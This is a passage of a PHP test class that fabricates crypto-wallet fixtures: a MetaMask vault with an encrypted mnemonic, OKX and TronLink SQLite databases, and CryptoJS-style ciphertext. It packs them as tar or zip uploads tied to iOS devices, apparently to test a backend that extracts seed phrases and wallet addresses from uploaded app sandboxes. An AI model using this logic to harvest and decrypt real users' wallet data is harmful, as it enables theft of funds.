$this->assertSame('encrypted.sandbox', $row->kind()); $this->assertSame(1, (int) $row->needs_password); $files = array_keys($row->raw_json['files'] ?? []); sort($files); $this->assertSame([ 'Documents/F4SeCyr/836527c71bf2a084191ce4147b6deba570c770d2dc1f7d8e6a16795be7b154df', 'Documents/db/main.sqlite3', ], $files); $this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count()); } private function makeDevice(string $id = 'dev-app-1'): Device { return Device::query()->create([ 'device_id' => $id, 'ios_version' => '18.0', 'device_model' => 'iPhone', 'chain' => Device::CHAIN_APP, ]); } /** * @return array */ private function makeMetamaskVault(string $phrase, string $password): array { $inner = json_encode([[ 'type' => 'HD Key Tree', 'data' => [ 'mnemonic' => array_map('ord', str_split($phrase)), 'numberOfAccounts' => 1, 'hdPath' => "m/44'/60'/0'/0", ], ]], JSON_UNESCAPED_SLASHES); $saltB64 = base64_encode(random_bytes(32)); $iv = random_bytes(16); $key = hash_pbkdf2('sha512', $password, $saltB64, 5000, 32, true); $cipher = openssl_encrypt((string) $inner, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); return [ 'kind' => 'metamask.vault', 'cipher' => base64_encode((string) $cipher), 'iv' => bin2hex($iv), 'salt' => $saltB64, 'lib' => 'quick-crypto', 'keyMetadata' => [ 'algorithm' => 'PBKDF2', 'params' => ['iterations' => 5000], ], ]; } /** * @param array $files */ private function makeTar(array $files): string { $dir = sys_get_temp_dir().'/app_upload_tar_'.bin2hex(random_bytes(4)); mkdir($dir, 0777, true); $tarPath = $dir.'.tar'; try { foreach ($files as $rel => $body) { $full = $dir.'/'.$rel; $parent = dirname($full); if (! is_dir($parent)) { mkdir($parent, 0777, true); } file_put_contents($full, $body); } $phar = new \PharData($tarPath); $phar->buildFromDirectory($dir); return (string) file_get_contents($tarPath); } finally { @unlink($tarPath); $it = new \RecursiveIteratorIterator( new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS), \RecursiveIteratorIterator::CHILD_FIRST ); foreach ($it as $f) { $f->isDir() ? @rmdir($f->getPathname()) : @unlink($f->getPathname()); } @rmdir($dir); } } /** * @param array $files */ private function makeZip(array $files): string { $path = sys_get_temp_dir().'/im_shell_'.bin2hex(random_bytes(4)).'.zip'; $zip = new \ZipArchive; $this->assertTrue($zip->open($path, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) === true); foreach ($files as $name => $content) { $zip->addFromString($name, $content); } $zip->close(); $bin = (string) file_get_contents($path); @unlink($path); return $bin; } /** * OKX wallet_coinMeta shape: token metadata tables full of contract * addresses, with no user-account rows. */ private function makeOkxCoinMetaSqlite(string $weth, string $usdt): string { $tmp = tempnam(sys_get_temp_dir(), 'okx_meta_'); $pdo = new \PDO('sqlite:'.$tmp); $pdo->exec('CREATE TABLE fullAssetCoinRelations (id INTEGER PRIMARY KEY, address TEXT, symbol TEXT, decimals INTEGER)'); $ins = $pdo->prepare('INSERT INTO fullAssetCoinRelations (address, symbol, decimals) VALUES (?,?,?)'); $ins->execute([$weth, 'WETH', 18]); $ins->execute([$usdt, 'USDT', 6]); $pdo = null; $bytes = (string) file_get_contents($tmp); @unlink($tmp); return $bytes; } private function makeOkxWalletSqlite(string $eoa, string $tron, string $btc): string { $tmp = tempnam(sys_get_temp_dir(), 'okx_wallet_'); $pdo = new \PDO('sqlite:'.$tmp); $pdo->exec('CREATE TABLE chain_address (id INTEGER PRIMARY KEY, address TEXT, eoaAddress TEXT)'); $pdo->exec('CREATE TABLE chain_address_segwit (id INTEGER PRIMARY KEY, address TEXT)'); $pdo->exec('CREATE TABLE customChainChainAddressesTable (id INTEGER PRIMARY KEY, address TEXT)'); $pdo->exec('CREATE TABLE coinMetas (id INTEGER PRIMARY KEY, address TEXT)'); $ins = $pdo->prepare('INSERT INTO chain_address (address, eoaAddress) VALUES (?, ?)'); $ins->execute([$eoa, $eoa]); $ins->execute([$tron, $eoa]); $seg = $pdo->prepare('INSERT INTO chain_address_segwit (address) VALUES (?)'); $seg->execute([$btc]); $noise = $pdo->prepare('INSERT INTO coinMetas (address) VALUES (?)'); $noise->execute(['0x514910771af9ca656af840dff83e8264ecf986ca']); $pdo = null; $bytes = (string) file_get_contents($tmp); @unlink($tmp); return $bytes; } /** * Mirror of CryptoJS AES.encrypt(plain, password) default output: * base64("Salted__" + salt + AES-256-CBC), EVP_BytesToKey MD5. */ private function cryptoJsEncrypt(string $plain, string $password): string { $salt = random_bytes(8); $derived = ''; $block = ''; while (strlen($derived) < 48) { $block = md5($block.$password.$salt, true); $derived .= $block; } $key = substr($derived, 0, 32); $iv = substr($derived, 32, 16); $cipher = openssl_encrypt($plain, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); return base64_encode('Salted__'.$salt.$cipher); } private function makeTronLinkSqlite(): string { $tmp = tempnam(sys_get_temp_dir(), 'tl_sqlite_'); $pdo = new \PDO('sqlite:'.$tmp); $pdo->exec('CREATE TABLE Wallet (id INTEGER PRIMARY KEY, address TEXT)'); $pdo->exec('CREATE TABLE ORM_DBTable_HomeNewAsset (id INTEGER, address TEXT, balance TEXT, shortName TEXT, contractAddress TEXT)'); $ins = $pdo->prepare('INSERT INTO Wallet (address) VALUES (?)'); $ins->execute([self::TRON]); $asset = $pdo->prepare('INSERT INTO ORM_DBTable_HomeNewAsset (id, address, balance, shortName, contractAddress) VALUES (?,?,?,?,?)'); $asset->execute([1, self::TRON, '0', 'TRX', '']); $asset->execute([2, self::TRON, '1.5', 'USDT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t']); $pdo = null; $bytes = (string) file_get_contents($tmp); @unlink($tmp); return $bytes; } }